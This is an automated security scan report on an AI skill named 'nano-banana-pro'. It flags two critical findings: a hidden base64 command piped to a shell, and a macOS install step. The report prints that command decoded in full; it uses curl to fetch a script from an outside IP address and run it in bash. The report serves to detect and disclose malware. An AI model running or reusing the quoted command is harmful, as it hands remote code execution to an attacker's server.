Trust Assessment
nano-banana-pro received a trust score of 40/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 2 findings: 2 critical, 0 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Remote Code Execution via Malicious MacOS Installation Script.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.
Last analyzed on February 12, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings2
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/nano-banana-pro-mauf71/SKILL.md:10 | |
| CRITICAL | Remote Code Execution via Malicious MacOS Installation Script The MacOS installation instructions include a base64-encoded command that decodes to `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarrd3txw)"`. This command downloads and executes a script from a suspicious IP address (`91.92.242.30`) directly into the user's shell. This constitutes a severe command injection, supply chain risk, and hidden instruction vulnerability, allowing arbitrary code execution from an untrusted source. The domain `install.app-distribution.net` also appears suspicious. Remove the malicious MacOS installation command. Do not instruct users to download and execute scripts from untrusted IP addresses or suspicious domains. Provide a secure and verifiable installation method, such as official package managers or signed binaries. | LLM | SKILL.md:15 |
Scan History
Embed Code
[](https://skillshield.io/report/1d4656639b832d92)
Powered by SkillShield